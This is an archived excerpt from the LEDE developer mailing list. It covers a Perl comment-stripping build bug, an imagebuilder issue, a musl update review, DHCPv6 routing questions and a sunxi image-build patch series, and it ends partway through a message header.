Date: Mon, 2 Jan 2017 21:32:10 -0700
Subject: [LEDE-DEV] Bug in ipkg?
Message-ID: <DD0B8B83-CA23-4621-84E6-7817A4B45E00@redfish-solutions.com>

I just saw something bizarre.

I had a Perl module (CGI v4.35) which contained the following:

my $appease_cpants_kwalitee = q/
use strict;
use warnings;
#/;

which is just a quoted string containing the lines that some sanity checking code expects to see (albeit as actual code, and not embedded as a string constant).

That was in the original source.

Getting into build_dir/target-xxx/perl/CGI-4.35/ and looking at ipkg-install/usr/lib/perl5/5.22/CGI.pm it?s identical to what?s in the tarball.

However, looking at ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22/CGI.pm I see that every line starting with /^#/ has been deleted.  WTH???

Interestingly, lines beginning with /^[ \t]+#/ are untouched.

Is ipkg doing something evil like stripping lines that it (apparently incorrectly) thinks are comments to save space?  And if so, why????

How do I disable this?

Thanks,

-Philip



From philipp_subx at redfish-solutions.com  Mon Jan  2 20:59:14 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 2 Jan 2017 21:59:14 -0700
Subject: [LEDE-DEV] Bug in ipkg?
In-Reply-To: <DD0B8B83-CA23-4621-84E6-7817A4B45E00@redfish-solutions.com>
References: <DD0B8B83-CA23-4621-84E6-7817A4B45E00@redfish-solutions.com>
Message-ID: <6105A3DD-9517-4F70-B9A4-04559CC35206@redfish-solutions.com>


> On Jan 2, 2017, at 9:32 PM, Philip Prindeville <philipp_subx at redfish-solutions.com> wrote:
> 
> I just saw something bizarre.
> 
> I had a Perl module (CGI v4.35) which contained the following:
> 
> my $appease_cpants_kwalitee = q/
> use strict;
> use warnings;
> #/;
> 
> which is just a quoted string containing the lines that some sanity checking code expects to see (albeit as actual code, and not embedded as a string constant).
> 
> That was in the original source.
> 
> Getting into build_dir/target-xxx/perl/CGI-4.35/ and looking at ipkg-install/usr/lib/perl5/5.22/CGI.pm it?s identical to what?s in the tarball.
> 
> However, looking at ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22/CGI.pm I see that every line starting with /^#/ has been deleted.  WTH???
> 
> Interestingly, lines beginning with /^[ \t]+#/ are untouched.
> 
> Is ipkg doing something evil like stripping lines that it (apparently incorrectly) thinks are comments to save space?  And if so, why????
> 
> How do I disable this?
> 
> Thanks,
> 
> -Philip
> 


And here?s the offending code:

(cd /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-install/usr/lib/perl5/5.22 && rsync --relative -rlHp --itemize-changes --exclude=\*.pod --exclude=.packlist  --prune-empty-dirs CGI CGI.pm auto/CGI /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22)
>f+++++++++ CGI.pm
cd+++++++++ CGI/
>f+++++++++ CGI/Carp.pm
>f+++++++++ CGI/Cookie.pm
>f+++++++++ CGI/Pretty.pm
>f+++++++++ CGI/Push.pm
>f+++++++++ CGI/Util.pm
cd+++++++++ CGI/File/
>f+++++++++ CGI/File/Temp.pm
cd+++++++++ CGI/HTML/
>f+++++++++ CGI/HTML/Functions.pm
chmod -R u+w /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22
---> Stripping modules in: /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22
find /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22 -name \*.pm -or -name \*.pl | xargs -r sed -i -e '/^=\(head\|pod\|item\|over\|back\|encoding\|begin\|end\|for\)/,/^=cut/d' -e '/^=\(head\|pod\|item\|over\|back\|encoding\|begin\|end\|for\)/,$d' -e '/^#$/d' -e '/^#[^!"'"'"']/d?


those last 2 expressions being passed to sed?

If I have something like:

my $hdr = <<__EOF__ ;
#!/bin/bash -x

__EOF__

then it?s going to totally do the wrong thing?  It thinks that?s a comment but it?s not, it?s a literal in a here-document?




From philipp_subx at redfish-solutions.com  Mon Jan  2 21:08:27 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 2 Jan 2017 22:08:27 -0700
Subject: [LEDE-DEV] Bug in ipkg?
In-Reply-To: <6105A3DD-9517-4F70-B9A4-04559CC35206@redfish-solutions.com>
References: <DD0B8B83-CA23-4621-84E6-7817A4B45E00@redfish-solutions.com>
 <6105A3DD-9517-4F70-B9A4-04559CC35206@redfish-solutions.com>
Message-ID: <3E83220C-6B15-4FCA-B4C7-3CCA3428F784@redfish-solutions.com>


> On Jan 2, 2017, at 9:59 PM, Philip Prindeville <philipp_subx at redfish-solutions.com> wrote:
> 
> 
>> On Jan 2, 2017, at 9:32 PM, Philip Prindeville <philipp_subx at redfish-solutions.com> wrote:
>> 
>> I just saw something bizarre.
>> 
>> I had a Perl module (CGI v4.35) which contained the following:
>> 
>> my $appease_cpants_kwalitee = q/
>> use strict;
>> use warnings;
>> #/;
>> 
>> which is just a quoted string containing the lines that some sanity checking code expects to see (albeit as actual code, and not embedded as a string constant).
>> 
>> That was in the original source.
>> 
>> Getting into build_dir/target-xxx/perl/CGI-4.35/ and looking at ipkg-install/usr/lib/perl5/5.22/CGI.pm it?s identical to what?s in the tarball.
>> 
>> However, looking at ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22/CGI.pm I see that every line starting with /^#/ has been deleted.  WTH???
>> 
>> Interestingly, lines beginning with /^[ \t]+#/ are untouched.
>> 
>> Is ipkg doing something evil like stripping lines that it (apparently incorrectly) thinks are comments to save space?  And if so, why????
>> 
>> How do I disable this?
>> 
>> Thanks,
>> 
>> -Philip
>> 
> 
> 
> And here?s the offending code:
> 
> (cd /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-install/usr/lib/perl5/5.22 && rsync --relative -rlHp --itemize-changes --exclude=\*.pod --exclude=.packlist  --prune-empty-dirs CGI CGI.pm auto/CGI /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22)
>> f+++++++++ CGI.pm
> cd+++++++++ CGI/
>> f+++++++++ CGI/Carp.pm
>> f+++++++++ CGI/Cookie.pm
>> f+++++++++ CGI/Pretty.pm
>> f+++++++++ CGI/Push.pm
>> f+++++++++ CGI/Util.pm
> cd+++++++++ CGI/File/
>> f+++++++++ CGI/File/Temp.pm
> cd+++++++++ CGI/HTML/
>> f+++++++++ CGI/HTML/Functions.pm
> chmod -R u+w /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22
> ---> Stripping modules in: /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22
> find /home/philip/bertram/bmu-philip/openwrt/build_dir/target-x86_64_core2_musl-1.1.15_powercode-bmu/perl/CGI-4.35/ipkg-x86_64/perl-cgi/usr/lib/perl5/5.22 -name \*.pm -or -name \*.pl | xargs -r sed -i -e '/^=\(head\|pod\|item\|over\|back\|encoding\|begin\|end\|for\)/,/^=cut/d' -e '/^=\(head\|pod\|item\|over\|back\|encoding\|begin\|end\|for\)/,$d' -e '/^#$/d' -e '/^#[^!"'"'"']/d?
> 
> 
> those last 2 expressions being passed to sed?
> 
> If I have something like:
> 
> my $hdr = <<__EOF__ ;
> #!/bin/bash -x
> 
> __EOF__
> 
> then it?s going to totally do the wrong thing?  It thinks that?s a comment but it?s not, it?s a literal in a here-document?
> 

Okay, resolved?.  I needed to change the Package/perl-cgi/install macro in the Makefile to invoke perlmod/Install/NoStrip instead of perlmod/Install.  Sigh.

Would it be reasonable to add a global variable which disables the stripping in perlmod/Install?

If you?re on a box with a decent amount of cycles and adequate flash, then I don?t really see the point of stripping comments from the Perl anyway?

-Philip



From philipp_subx at redfish-solutions.com  Mon Jan  2 21:40:53 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 2 Jan 2017 22:40:53 -0700
Subject: [LEDE-DEV] Bug in ipkg?
In-Reply-To: <3E83220C-6B15-4FCA-B4C7-3CCA3428F784@redfish-solutions.com>
References: <DD0B8B83-CA23-4621-84E6-7817A4B45E00@redfish-solutions.com>
 <6105A3DD-9517-4F70-B9A4-04559CC35206@redfish-solutions.com>
 <3E83220C-6B15-4FCA-B4C7-3CCA3428F784@redfish-solutions.com>
Message-ID: <B16C3EAB-D79E-403B-A3BD-BBBD59762632@redfish-solutions.com>


> On Jan 2, 2017, at 10:08 PM, Philip Prindeville <philipp_subx at redfish-solutions.com> wrote:
> 
> Okay, resolved?.  I needed to change the Package/perl-cgi/install macro in the Makefile to invoke perlmod/Install/NoStrip instead of perlmod/Install.  Sigh.
> 
> Would it be reasonable to add a global variable which disables the stripping in perlmod/Install?
> 
> If you?re on a box with a decent amount of cycles and adequate flash, then I don?t really see the point of stripping comments from the Perl anyway?
> 
> -Philip
> 


Okay, and here?s a fix? though it might also be nice to allow packages themselves to indicate that they?re known to get mangled by perlmod.mk?


-------------- next part --------------
A non-text attachment was scrubbed...
Name: perlmod-unstripped.patch
Type: application/octet-stream
Size: 1463 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170102/6e149a75/attachment.obj>

From zajec5 at gmail.com  Mon Jan  2 23:01:41 2017
From: zajec5 at gmail.com (=?UTF-8?B?UmFmYcWCIE1pxYJlY2tp?=)
Date: Tue, 3 Jan 2017 08:01:41 +0100
Subject: [LEDE-DEV] brcm47xx legacy image building issues
In-Reply-To: <o4dsrd$v3r$1@blaine.gmane.org>
References: <o4dsrd$v3r$1@blaine.gmane.org>
Message-ID: <13978dc7-448f-08f7-2dd9-583e9a062df0@gmail.com>

On 01/02/2017 04:50 PM, Eric Masson wrote:
> I get the following error while trying to generate an image for a WGT634U :
> emss at vmwdebems:~/lede-imagebuilder-brcm47xx-legacy.Linux-x86_64$ make image PACKAGES="aiccu fwknopd luci luci-app-firewall luci-app-fwknopd luci-app-sqm luci-proto-ipv6 luci-proto-ppp tcpdump -dnsmasq iputils-traceroute6 kmod-nf-nathelper-extra"
>
> (...)
>
> lede-imagebuilder-brcm47xx-legacy.Linux-x86_64.tar.xz is Mon Jan 2 16:40:22 2017 version.
>
> This used to work, any idea, please ?

I just downloaded and extracted
https://downloads.lede-project.org/snapshots/targets/brcm47xx/legacy/lede-imagebuilder-brcm47xx-legacy.Linux-x86_64.tar.xz

I entered lede-imagebuilder-brcm47xx-legacy.Linux-x86_64 and executed your command. It worked fine.

I see 3 options:
1) Something got fixed in "Tue Jan 3 06:46:26 2017"
2) You are doing something extra you didn't describe
3) There is some issue specific to your host


From emss at free.fr  Tue Jan  3 00:37:32 2017
From: emss at free.fr (Eric Masson)
Date: Tue, 03 Jan 2017 09:37:32 +0100
Subject: [LEDE-DEV] brcm47xx legacy image building issues
In-Reply-To: <13978dc7-448f-08f7-2dd9-583e9a062df0@gmail.com>
 (=?utf-8?Q?=22Rafa=C5=82=09Mi=C5=82ecki=22's?= message of "Tue, 3 Jan 2017
 08:01:41 +0100")
References: <o4dsrd$v3r$1@blaine.gmane.org>
 <13978dc7-448f-08f7-2dd9-583e9a062df0@gmail.com>
Message-ID: <86a8b84jzn.fsf@srvbsdfenssv.interne.associated-bears.org>

Rafa? Mi?ecki <zajec5 at gmail.com> writes:

Hi Rafal,

> I just downloaded and extracted
> https://downloads.lede-project.org/snapshots/targets/brcm47xx/legacy/lede-imagebuilder-brcm47xx-legacy.Linux-x86_64.tar.xz
>
> I entered lede-imagebuilder-brcm47xx-legacy.Linux-x86_64 and executed your command. It worked fine.
>
> I see 3 options:
> 1) Something got fixed in "Tue Jan 3 06:46:26 2017"
> 2) You are doing something extra you didn't describe
> 3) There is some issue specific to your host

Probably 1 as everything went fine with today's imagebuilder "Tue Jan 3
06:46:26 2017".

At least both previous brcm47xx imagebuilder were causing the reported
issue.

Thanks a lot for your help.

Regards

?ric Masson


From koen.vandeputte at ncentric.com  Tue Jan  3 01:22:27 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Tue, 3 Jan 2017 10:22:27 +0100
Subject: [LEDE-DEV] [PATCH] musl: update musl to 1.1.16 and switch to
 download from git
In-Reply-To: <mailman.76348.1483395813.1639.lede-dev@lists.infradead.org>
References: <mailman.76348.1483395813.1639.lede-dev@lists.infradead.org>
Message-ID: <a9ba5a97-faa7-1356-f092-60fdff15fcb3@ncentric.com>

Looks OK.
Compile & run-tested on cns3xxx & imx6


Tested-by: Koen Vandeputte <koen.vandeputte at ncentric.com>




On 2017-01-02 23:23, Christian Lamparter via Lede-dev wrote:
> The sender domain has a DMARC Reject/Quarantine policy which disallows
> sending mailing list messages using the original "From" header.
>
> To mitigate this problem, the original message has been wrapped
> automatically by the mailing list software.
>
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From hannu.nyman at iki.fi  Tue Jan  3 01:25:52 2017
From: hannu.nyman at iki.fi (Hannu Nyman)
Date: Tue, 3 Jan 2017 11:25:52 +0200
Subject: [LEDE-DEV] [PATCH] musl: update musl to 1.1.16 and switch to
 download from git
In-Reply-To: <20170102222257.19563-1-chunkeey@googlemail.com>
References: <20170102222257.19563-1-chunkeey@googlemail.com>
Message-ID: <a8880d29-54ec-4df5-85b5-a12340f47799@iki.fi>

On 3.1.2017 0:22, Christian Lamparter wrote:
> This patch updates musl to 1.1.16 [0] and removes all the
> backported patches.
> ...
>   delete mode 100644 toolchain/musl/patches/099-Add-format-attribute-to-some-function-declarations.patch
>

Like I commened on the Github PR 660 about the same version bump, I think 
that the file 099-Add-format-attribute-to-some-function-declarations.patch is 
not from musl upstream and should likely not be deleted.

Afaik that is an Openwrt/LEDE specific patch from Hauke instead of being a 
backported genuine upstream patch (although its name starts with 0). It was 
recently renamed from 040-xxx ot 099-xxx, but the file originates at 
https://github.com/lede-project/source/commit/be5fcf9fd76a30c8a28a17daf9c3ddcc9c3af0ba 
and I think that it should survive the version bump, or at least its removal 
should be evaluated separately as it has nothing to do with 1.1.16

https://github.com/lede-project/source/pull/660



From dedeckeh at gmail.com  Tue Jan  3 01:28:29 2017
From: dedeckeh at gmail.com (Hans Dedecker)
Date: Tue, 3 Jan 2017 10:28:29 +0100
Subject: [LEDE-DEV] dhcpv6-pd subnet allocation?
In-Reply-To: <CAA93jw6-x7_mrP9koEez85v-XP_rNNO9cJQE9oTAVcBioO7W2w@mail.gmail.com>
References: <CAA93jw6-x7_mrP9koEez85v-XP_rNNO9cJQE9oTAVcBioO7W2w@mail.gmail.com>
Message-ID: <CAJLcKsEXBuNfvT-gX3==-=Q_aM6JrZ7bP0eP9DxSxcqP3pmvyg@mail.gmail.com>

On Mon, Jan 2, 2017 at 8:02 PM, Dave Taht <dave.taht at gmail.com> wrote:
> 1) In a topology like this:
>
> ISP
>  |
> routerA
>  |
> routerB
>  |
> routerC
>
> what options now exist in lede for getting an ipv6 subnet to routerC
> from routerA after being provided by the ISP? (the basic PD allocation
> from ISP to A seems to work)
>
> Can routerB get one from routerA, then C from B?
>
> dhcp-pd?
Cascaded prefix delegation is possible in lede if you get a prefix
length from your ISP which allows you to do prefix delegation for
different subnets
> hncpd?
> shcncpd?
> wget?
>
> 2) I'd like to be able to toss a dhcp address allocation into its own
> routing table
> (having some trouble with default routes) - according to this
>
> https://lists.openwrt.org/pipermail/openwrt-devel/2015-September/036212.html
>
>         option ipv4table 16
>
> is the way? (cause ip route show table 16 shows nothing)
>
> config interface 'wan'
>         option ifname 'eth0'
>         option proto 'dhcp'
>         option defaultroute '0'
>         option ipv4table 16
It needs to be ip4table iso ipv4table

Hans
>
>
>
>
>
> --
> Dave T?ht
> Let's go make home routers and wifi faster! With better software!
> http://blog.cerowrt.org
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From yszhou4tech at gmail.com  Tue Jan  3 03:03:49 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Tue,  3 Jan 2017 19:03:49 +0800
Subject: [LEDE-DEV] [PATCH v3 0/5] sunxi: rework image build and sysupgrade
	support
Message-ID: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>

This series mainly tries achieve the following goals

 - use new image generation method
 - squashfs sdcard image support
 - mkfs.f2fs or mkfs.ext4 remaining space within squashfs rootfs partition and
   mount it as rw overlay
 - sysupgrade with fwtool check support

Device profiles are automatically generated with a helper makefile.  Names for
image files, board_names, etc. are changed to try to use basename of kernel dts
file for the specific device.  Names for uboot-sunxi is not touched though.

Package uboot-sunxi was dropped and built as COMPILE/$(1)-u-boot-with-spl.bin
of each device profile.  This was done so that we do not have to enumerate
every uboot variant in the Default profile

Run-tested with cubietech,cubieboard2, compile-tested others

v3 <- v2

 - added a Default profile and while doing this removed uboot-sunxi package

v2 <- v1:

 - rebased on staging/nbd
 - use $@.boot instead of relying on IMAGE_PREFIX when making the vfat boot
   partition
 - Set PROFILES:=Default in Device/Default

Yousong Zhou (5):
  sunxi: convert to new image generation method
  sunxi: make sdcard image with squashfs as rootfs
  sunxi: add sysupgrade support
  sunxi: use fwtool for checking sdcard images
  sunxi: define a Default profile

 package/boot/uboot-sunxi/Makefile                  |  188 -
 .../patches/001-use-dtc-in-kernel.patch            |   11 -
 .../patches/002-add-olimex-a13-som.patch           |   21 -
 .../patches/003-add-theobroma-a31-pangolin.patch   |  385 --
 .../patches/010-dt-sync-files-with-kernel.patch    | 1403 ----
 .../011-dt-sync-dts-files-with-kernel.patch        | 7211 --------------------
 .../patches/012-sun6i-fix-clock_twi_onoff.patch    |   38 -
 .../patches/013-enable-realtek-phy.patch           |   24 -
 .../uboot-sunxi/patches/014-fix-gmac-init.patch    |  127 -
 .../patches/015-fix-2nd-usb-ctrler-on-sun47i.patch |   78 -
 .../patches/016-spl-print-mmc-slot.patch           |   31 -
 .../017-usb-add-support-for-usb3-vbus-pin.patch    |   39 -
 .../018-usb-specify-vbus-pins-on-orangepis.patch   |   31 -
 .../019-sid-add-efuse-support-for-h3-a83t.patch    |   33 -
 .../020-boot-display-board-model-on-startup.patch  |   23 -
 .../091-sun6i-sync-PLL1-multdiv-with-Boot1.patch   |   32 -
 .../patches/093-sun6i-fix-PLL-LDO-voltselect.patch |   70 -
 .../patches/100-sun6i-alternate-on-UART2.patch     |   16 -
 .../101-sun6i-support-console-on-UART2.patch       |   30 -
 .../102-sunxi-make_CONS_INDEX-configurable.patch   |   23 -
 package/boot/uboot-sunxi/uEnv-default.txt          |    6 -
 package/boot/uboot-sunxi/uEnv-pangolin.txt         |    6 -
 target/linux/sunxi/Makefile                        |    3 +-
 .../linux/sunxi/base-files/etc/board.d/02_network  |    4 +-
 .../base-files/lib/preinit/01_preinit_sunxi.sh     |    9 -
 .../sunxi/base-files/lib/preinit/02_b53_hack.sh    |    2 +-
 .../sunxi/base-files/lib/preinit/79_move_config    |   20 +
 target/linux/sunxi/base-files/lib/sunxi.sh         |  140 -
 .../linux/sunxi/base-files/lib/upgrade/platform.sh |   67 +
 target/linux/sunxi/config-4.4                      |    4 +
 target/linux/sunxi/image/Makefile                  |  237 +-
 target/linux/sunxi/image/gen_sunxi_sdcard_img.sh   |    3 +-
 target/linux/sunxi/image/uboot/Makefile            |   65 +
 .../uboot/patches/001-use-dtc-in-kernel.patch      |   11 +
 .../uboot/patches/002-add-olimex-a13-som.patch     |   21 +
 .../patches/003-add-theobroma-a31-pangolin.patch   |  385 ++
 .../patches/010-dt-sync-files-with-kernel.patch    | 1403 ++++
 .../011-dt-sync-dts-files-with-kernel.patch        | 7211 ++++++++++++++++++++
 .../patches/012-sun6i-fix-clock_twi_onoff.patch    |   38 +
 .../uboot/patches/013-enable-realtek-phy.patch     |   24 +
 .../image/uboot/patches/014-fix-gmac-init.patch    |  127 +
 .../patches/015-fix-2nd-usb-ctrler-on-sun47i.patch |   78 +
 .../uboot/patches/016-spl-print-mmc-slot.patch     |   31 +
 .../017-usb-add-support-for-usb3-vbus-pin.patch    |   39 +
 .../018-usb-specify-vbus-pins-on-orangepis.patch   |   31 +
 .../019-sid-add-efuse-support-for-h3-a83t.patch    |   33 +
 .../020-boot-display-board-model-on-startup.patch  |   23 +
 .../091-sun6i-sync-PLL1-multdiv-with-Boot1.patch   |   32 +
 .../patches/093-sun6i-fix-PLL-LDO-voltselect.patch |   70 +
 .../patches/100-sun6i-alternate-on-UART2.patch     |   16 +
 .../101-sun6i-support-console-on-UART2.patch       |   30 +
 .../102-sunxi-make_CONS_INDEX-configurable.patch   |   23 +
 target/linux/sunxi/image/uboot/uEnv-default.txt    |    6 +
 target/linux/sunxi/image/uboot/uEnv-pangolin.txt   |    6 +
 target/linux/sunxi/profiles/00-default.mk          |   27 +
 target/linux/sunxi/profiles/01-default.mk          |   17 -
 target/linux/sunxi/profiles/a10-olinuxino.mk       |   19 -
 target/linux/sunxi/profiles/a13-olimex-som.mk      |   18 -
 target/linux/sunxi/profiles/a13-olinuxino.mk       |   18 -
 target/linux/sunxi/profiles/a20-olinuxino.mk       |   33 -
 target/linux/sunxi/profiles/bananapi.mk            |   18 -
 target/linux/sunxi/profiles/bananapro.mk           |   19 -
 target/linux/sunxi/profiles/cubieboard.mk          |   19 -
 target/linux/sunxi/profiles/cubieboard2.mk         |   19 -
 target/linux/sunxi/profiles/cubietruck.mk          |   19 -
 target/linux/sunxi/profiles/lamobo-r1.mk           |   19 -
 target/linux/sunxi/profiles/mele_m9.mk             |   18 -
 target/linux/sunxi/profiles/orangepi_plus.mk       |   18 -
 target/linux/sunxi/profiles/pcduino.mk             |   18 -
 target/linux/sunxi/profiles/pcduino3.mk            |   19 -
 70 files changed, 9995 insertions(+), 10341 deletions(-)
 delete mode 100644 package/boot/uboot-sunxi/Makefile
 delete mode 100644 package/boot/uboot-sunxi/patches/001-use-dtc-in-kernel.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/002-add-olimex-a13-som.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/003-add-theobroma-a31-pangolin.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/010-dt-sync-files-with-kernel.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/011-dt-sync-dts-files-with-kernel.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/012-sun6i-fix-clock_twi_onoff.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/013-enable-realtek-phy.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/014-fix-gmac-init.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/016-spl-print-mmc-slot.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/017-usb-add-support-for-usb3-vbus-pin.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/018-usb-specify-vbus-pins-on-orangepis.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/019-sid-add-efuse-support-for-h3-a83t.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/020-boot-display-board-model-on-startup.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/093-sun6i-fix-PLL-LDO-voltselect.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/100-sun6i-alternate-on-UART2.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/101-sun6i-support-console-on-UART2.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/102-sunxi-make_CONS_INDEX-configurable.patch
 delete mode 100644 package/boot/uboot-sunxi/uEnv-default.txt
 delete mode 100644 package/boot/uboot-sunxi/uEnv-pangolin.txt
 delete mode 100644 target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh
 create mode 100644 target/linux/sunxi/base-files/lib/preinit/79_move_config
 create mode 100644 target/linux/sunxi/base-files/lib/upgrade/platform.sh
 create mode 100644 target/linux/sunxi/image/uboot/Makefile
 create mode 100644 target/linux/sunxi/image/uboot/patches/001-use-dtc-in-kernel.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/002-add-olimex-a13-som.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/003-add-theobroma-a31-pangolin.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/010-dt-sync-files-with-kernel.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/011-dt-sync-dts-files-with-kernel.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/012-sun6i-fix-clock_twi_onoff.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/013-enable-realtek-phy.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/014-fix-gmac-init.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/016-spl-print-mmc-slot.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/017-usb-add-support-for-usb3-vbus-pin.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/018-usb-specify-vbus-pins-on-orangepis.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/019-sid-add-efuse-support-for-h3-a83t.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/020-boot-display-board-model-on-startup.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/093-sun6i-fix-PLL-LDO-voltselect.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/100-sun6i-alternate-on-UART2.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/101-sun6i-support-console-on-UART2.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/102-sunxi-make_CONS_INDEX-configurable.patch
 create mode 100644 target/linux/sunxi/image/uboot/uEnv-default.txt
 create mode 100644 target/linux/sunxi/image/uboot/uEnv-pangolin.txt
 create mode 100644 target/linux/sunxi/profiles/00-default.mk
 delete mode 100644 target/linux/sunxi/profiles/01-default.mk
 delete mode 100644 target/linux/sunxi/profiles/a10-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/a13-olimex-som.mk
 delete mode 100644 target/linux/sunxi/profiles/a13-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/a20-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/bananapi.mk
 delete mode 100644 target/linux/sunxi/profiles/bananapro.mk
 delete mode 100644 target/linux/sunxi/profiles/cubieboard.mk
 delete mode 100644 target/linux/sunxi/profiles/cubieboard2.mk
 delete mode 100644 target/linux/sunxi/profiles/cubietruck.mk
 delete mode 100644 target/linux/sunxi/profiles/lamobo-r1.mk
 delete mode 100644 target/linux/sunxi/profiles/mele_m9.mk
 delete mode 100644 target/linux/sunxi/profiles/orangepi_plus.mk
 delete mode 100644 target/linux/sunxi/profiles/pcduino.mk
 delete mode 100644 target/linux/sunxi/profiles/pcduino3.mk

-- 
2.6.4



From yszhou4tech at gmail.com  Tue Jan  3 03:03:51 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Tue,  3 Jan 2017 19:03:51 +0800
Subject: [LEDE-DEV] [PATCH v3 2/5] sunxi: make sdcard image with squashfs as
	rootfs
In-Reply-To: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
References: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483441434-31009-3-git-send-email-yszhou4tech@gmail.com>

Two things that need to be noted

 - There is no partition type id allocated for squashfs yet.  In the
   case of sunxi, any non-zero value should work and we keep it 83 (the
   value for ext4)
 - Remaining spare space within the rootfs partition, not the entire
   sdcard space will be formated as either f2fs or ext4 and mounted as
   overlay to serve the role of rootfs_data.

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 target/linux/sunxi/Makefile | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/target/linux/sunxi/Makefile b/target/linux/sunxi/Makefile
index cca3a14..b0bc1ba 100644
--- a/target/linux/sunxi/Makefile
+++ b/target/linux/sunxi/Makefile
@@ -10,7 +10,7 @@ include $(TOPDIR)/rules.mk
 ARCH:=arm
 BOARD:=sunxi
 BOARDNAME:=Allwinner A1x/A20/A3x
-FEATURES:=fpu usb ext4 display rtc
+FEATURES:=fpu usb ext4 display rtc squashfs
 CPU_TYPE:=cortex-a8
 CPU_SUBTYPE:=vfpv3
 MAINTAINER:=Zoltan HERPAI <wigyori at uid0.hu>
@@ -28,5 +28,6 @@ KERNELNAME:=zImage dtbs
 include $(INCLUDE_DIR)/target.mk
 
 DEFAULT_PACKAGES += uboot-envtools kmod-eeprom-sunxi kmod-wdt-sunxi
+DEFAULT_PACKAGES += mkf2fs e2fsprogs
 
 $(eval $(call BuildTarget))
-- 
2.6.4



From yszhou4tech at gmail.com  Tue Jan  3 03:03:50 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
